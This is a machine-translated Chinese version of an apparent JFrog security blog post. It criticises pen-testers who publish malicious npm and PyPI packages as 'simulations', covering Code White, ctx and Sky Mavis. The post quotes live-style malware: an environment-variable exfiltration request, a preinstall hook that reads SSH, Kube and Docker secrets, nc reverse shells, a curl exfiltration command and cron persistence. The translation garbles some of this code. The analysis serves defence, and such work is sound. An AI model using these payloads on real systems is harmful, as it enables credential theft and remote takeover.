测试抵御恶意包攻击的弹性:一把双刃剑?

JFrog安全研究团队使用我们的自动化工具持续监控流行的开源软件(OSS)存储库,以避免潜在的软件供应链安全威胁,并报告任何漏洞或漏洞恶意包发现给存储库维护者和更广泛的社区。有时,我们会注意到一些值得分析和学习的趋势。
最近,我们注意到在红队或独立的pen-tester执行的“供应链攻击模拟”中越来越多地使用npm,使用了排字、依赖混淆、社会工程等。尽管在这些情况下,“攻击者”并不打算造成任何伤害,但我们看到越来越多不负责任的恶意包攻击模拟违反了npm的服务条款,并将他们试图帮助的组织置于真正的危险之中。
在这篇文章中,我们回顾了最近恶意包攻击“模拟”的案例,包括我们最近发现并报告的一种新的依赖混淆攻击,并回顾了在使用公共平台(如npm)作为渗透测试工作的一部分时的最佳实践。
npm“Code White”依赖项混淆-混淆和极其恶意的有效负载
在2022年5月,我们检测到一种袭击了几家德国工业公司.攻击者使用自定义编写的高度模糊的恶意软件窃取信息并获得对受感染机器的控制权。在我们向npm维护团队和目标公司披露恶意软件后,一家名为“Code White”的渗透测试公司发布了一篇文章,承担责任并解释了他们的动机:
@JFrogSecurity谢谢你在https://t.co/WPWRDEerPb你向受影响的组织发出警告,但我们可以解决不确定性:这次“攻击”是模拟的,但仍然是真实的,是我们在征得他们同意的情况下,针对我们的一些合同客户进行的。
- Code White GmbH (@codewhitesec)2022年5月11日
发布到npm注册表的模块没有包含任何关于它们在渗透测试中使用的警告:

此外,已安装的恶意有效负载已被遏制完整的回接shell功能以及自定义加密代码——这些能力远远超出了简单的红队验证所需要的能力。尽管渗透测试的意图是合法的,但如此强大的有效载荷有时会被外部威胁行动者劫持,从而对被测试的公司造成真正的损害。
PyPI ctx域接管-窃取AWS访问令牌
另一个不负责任的白帽研究员的例子是最近由独立安全研究员Yunus Aydin对PyPI存储库进行的攻击。研究人员使用了域接管技术为了劫持一个非常流行的PyPI包- ctx。原始代码被信息窃取恶意软件所取代,该恶意软件将受感染机器的环境变量泄露到攻击者的服务器:
class Ctx(dict): def __init__(self): self.sendRequest() def sendRequest(self): string = "" for _, value in os. environment .items(): string += value+" " message_bytes = string.encode('ascii') base64_bytes = base64.b64encode(message_bytes) base64_message = base64_bytes.decode('ascii') response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)
研究人员声称“这项研究不包含任何恶意活动”,他“想展示这种简单的攻击是如何影响1000多万用户和公司的”,同时进一步声称“我收到的所有数据都被删除了,没有被使用”。
虽然研究人员声称的意图不是恶意的,而是为了提高认识,但我们的评估是,它不能证明未经授权访问环境变量是正当的。例如,一个真正的恶意行为者可能劫持了域anti-theft-web.herokuapp.com这将使他们能够访问所有泄露的环境变量。这些变量可能会暴露PII(个人身份信息)以及敏感数据,如硬编码密码或API令牌,增加了一定程度的风险,而不需要证明研究人员的观点。假设研究人员真的是一个白帽,他们可以通过让有效负载ping回研究人员的服务器来获得同样的利用证据,而不发送任何额外的数据,特别是不敏感的环境变量。
Sky-Mavis依赖性混乱-以上所有
我们发现的最近一次攻击需要更详细的解释,因为攻击者在我们报告后删除了恶意软件,而且媒体没有报道这一事件。
我们的自动扫描器在npm注册表中检测到一个可疑的模块。的内部Node.js模块天空画眉鸟类注入恶意有效载荷的公司,看起来像是对公司供应链的依赖混淆攻击。

目标
该模块的作用域、存储库和为此次攻击注册的C2域的名称揭示了攻击的目标——一家名为天空画眉鸟类那里有一款很受欢迎的fft收集游戏,Axie无穷以及被称为“浪人网络”的软件:用于为游戏提供资金支持的以太坊侧链。
2022年3月底,这家公司成为一次大规模黑客攻击的受害者导致6.25亿美元的加密资产被盗,成为游戏行业历史上最大的黑客事件。根据该公司的博客,漏洞的根本原因是从从网络中提取货币所需的验证器中窃取了私钥。
在这次入侵之后,Sky Mavis采取了几项措施来防止未来的攻击。其中一个是宣布漏洞赏金计划奖励高达100万美元,鼓励白帽安全研究人员帮助提高其服务的安全性。
发现的可疑包裹的技术细节
我们分析的恶意软件看起来像是合法模块的篡改版本。它包含超过1000个原始的非恶意源代码文件和一个带有恶意代码的注入文件。不幸的是,没有检测到许可信息或注释,可能有助于证明它是Sky Mavis代码的一部分。尽管如此,代码的结构、对其他内部模块的引用以及我们无法公开找到类似代码的事实,使我们假设这个包很有可能是一个实际泄露的内部包。

在典型的依赖混淆攻击中,攻击者设置最大版本号,希望它比原始版本号更大。在这种情况下,由于攻击者似乎可以访问原始代码(并且知道真实的版本号),攻击者可以稍微将版本号增加到“2.1.13”,这看起来像一个正常的版本号,看起来并不可疑:
{"name": "@sky-mavis/design-system", "version": "2.1.13", "description": "Core styles & components", "main": "dist/index.js",}
遵循Node.js恶意软件开发的常见做法,恶意软件作者将恶意文件添加到包的“scripts”条目中。Json文件,使其在模块安装期间启动。
"scripts":{"preinstall": "node dist/utils/渲染.js"}
恶意脚本收集并窃取有关受感染系统的信息,特别是以下信息:
- 用户名
- 网络配置
- 用户主目录的内容
- ./ssh、./config、./kube和./docker目录下的所有文件的内容(通常包含私钥和访问令牌的目录)
让dirs = [' ${homedir}/。ssh”、“$ {homedir} /。配置”、“$ {homedir} /。kube”、“$ {homedir} /。docker '] for (let i in dirs) {files = getFiles(dirs[i]) for (let j in files){//…读取文件内容makeRequest(data_files,true);}}
在劫持敏感信息后,恶意软件执行一个shell脚本,向攻击者的服务器打开反向shell,使攻击者完全控制受感染的机器。
Rm /tmp/f1;mkfifo /tmp/f1;cat /tmp/f1|/bin/sh -i 2>&1|nc axiedao[.][co 11211 >/tmp/f1 .
奇怪的是,恶意代码继续打开到同一服务器的四个shell连接,但在不同的端口上:
rm / tmp / f; mkfifo / tmp / f;猫/ tmp / f | / bin / sh - 2 > & 1 | 215年数控13(。)[]202[。]61 27007 >/tmp/f;rm / tmp / f; mkfifo / tmp / f;猫/ tmp / f | / bin / sh - 2 > & 1 | 215年数控13(。)[]202[。]61 13443 >/tmp/f;rm / tmp / f; mkfifo / tmp / f;猫/ tmp / f | / bin / sh - 2 > & 1 | 215年数控13(。)[]202[。]61 23321 >/tmp/f;rm / tmp / f; mkfifo / tmp / f;猫/ tmp / f | / bin / sh - 2 > & 1 | 215年数控13(。)[]202[。[61 33443 >/tmp/f .
攻击者的网络基础设施
攻击者服务器的域名npm[.]skymavis[.]ml和axiedao[.]]co分别模仿被攻击公司的网络资产名称(skymavis.com和axiedao.org)。尽管这种命名方式在网络钓鱼攻击中比依赖关系混淆中更为固有,但我们假设攻击者使用这些域名是为了掩盖可疑的网络活动。事实上,其中一个域名重定向到公司网页,而另一个包含原始网站的完全克隆,这支持了我们的假设。

在我们进行研究时,13.215.202.61服务器仍然存在,通过联系它,我们实际上收到了一个有效负载,这是一组base64编码的shell命令
51bGwgMj4mMSAm | base64 -d | bash
解码后的命令应该会将敏感信息从受害机器发送到https://axiedao[]有限公司.然而,由于编程错误,恶意软件最终将此信息转储到标准输出,并向C2服务器发送一个空请求
猫~ / .zsh_history;猫~ / . bash_history;猫/ etc / passwd;猫/ etc / hosts;显示本用户信息;Ls -la /;Ls -la。;Ls -la ~;寻找~ /。config/ -type f -exec cat {} \\; ; find ~/.ssh/ -type f -exec cat {} \\; ; timeout 5 curl -d "fengshui=axiedaoo" https://axiedao[.]co ;
下面的命令创建一个cron作业,向服务器再建立一个shell -
Crontab -l |{猫;Echo "*/5 * * * * rm /tmp/i;mkfifo /tmp/i;cat /tmp/i|/bin/sh -i 2>&1|nc axiedao。Co 55443 >/tmp/i";} | crontab - | bash
来自服务器的最后一个命令创建一个bash脚本,该脚本每分钟再次建立一个连接回shell到服务器
而真正的;rm /tmp/g;mkfifo / tmp / g;Cat /tmp/g|/bin/sh -i 2>&1|nc axiedao。Co 8443 >/tmp/g;睡眠60;完成
谁是天空Mavis袭击的幕后黑手?
除了恶意软件的技术分析之外,了解谁是幕后黑手以及攻击的最终目标也会很有趣。存储库的npm页面指向一个Github存储库(已被删除),假装是Sky Mavis公司的官方项目。但是,存储库还包含一个名为持久性的包。
幸运的是,存储库所有者保留了Git提交历史。历史记录清楚地表明,在第一次提交时,开发人员的主页从https://github.com/zoli4ch来https://github.com/sky-mavis(新创建的帐户)。

看看zoli4ch在Github上的个人资料,并没有透露太多信息-

进一步搜索他的资料就能找到他在efience.com上的账号。Github页面的链接与第一版恶意软件中的存储库相匹配。根据个人资料,攻击者是胡志明市科技大学的一名学生,对网络安全的攻击方面感兴趣。

原始JavaScript模块(据说是设计系统)的合法代码在公共领域中不可用,这就提出了问题攻击者是怎么拿到的.我们认为最有可能的是该公司雇佣了一名渗透测试人员来模拟供应链攻击。
在之前的案例中,渗透者的行为超出了道德和负责任的行为范围
- 攻击者将危险代码上传到公共软件注册表,公然违反了服务条款
- 攻击者泄露了专有的公司源代码,真实的参与者可以使用这些源代码对公司发起进一步的攻击。例如,一些项目文件从泄露的代码,链接到公司的其他私有模块。获得这些模块名称的攻击者可以发起依赖项混淆攻击。
- 攻击者安装了一个过度恶意的有效负载(窃取私钥并打开connectback shell)。一个真正的恶意威胁者可能劫持了这些域名axiedao.co或13.215.202.61还能远程访问公司的受害机器。更糟糕的是,恶意有效负载是公开的,这样攻击者就会确切地知道要针对哪些域以及期望什么样的连接。
- 有效载荷不包含任何访问限制,以确保它们在目标计算机上运行。因此,任何安装了恶意包的npm用户都会受到恶意有效负载的全面攻击。
“模拟真实的攻击场景”的谬论
许多渗透测试公司和个人实际上很自豪,因为他们的攻击与真正的威胁行为者的攻击非常相似,因此他们的意图也是如此
然而,模仿真正的攻击者会带来几个问题
- 违反其使用的公共基础设施服务条款的
- 安装可能被真正的攻击者劫持的恶意负载
- 危及公共基础设施的合法用户
- 对目标公司的PSIRT团队造成过度恐慌
最重要的是,在考虑到“目标”事件响应团队的响应时,模仿真正的攻击者到这种程度实际上没有任何好处
- PSIRT团队不会过滤掉恶意包(在大多数合理的情况下),即使它有适当的描述。例如,在依赖关系混淆等攻击中,甚至没有人阅读包描述
- “跟踪”非恶意有效负载证明代码已被执行,而不会将受害机器暴露在不适当的劫持风险中
执行可靠的pentest的3个指导原则(对公共包存储库)
在我们看来,验证软件供应链攻击弹性的渗透测试人员应该遵循以下一组实践:
- 尊重您正在发布的公共存储库的使用条款—例如Npm用于可接受包内容的术语
- 写一个全面的包描述,描述它的功能和目标
- 尽可能不干涉:避免完全控制受攻击的机器,不要访问未经授权的个人数据
与JFrog安全研究保持最新
在我们的JFrog安全研究团队中跟踪最新的发现和技术更新安全研究博客文章并在推特上@JFrogSecurity.
保护从恶意包攻击与JFrog x射线
除了暴露新的安全威胁,JFrog还允许组织通过自动安全扫描快速检测第三方恶意包来开发和交付安全软件JFrog x光.
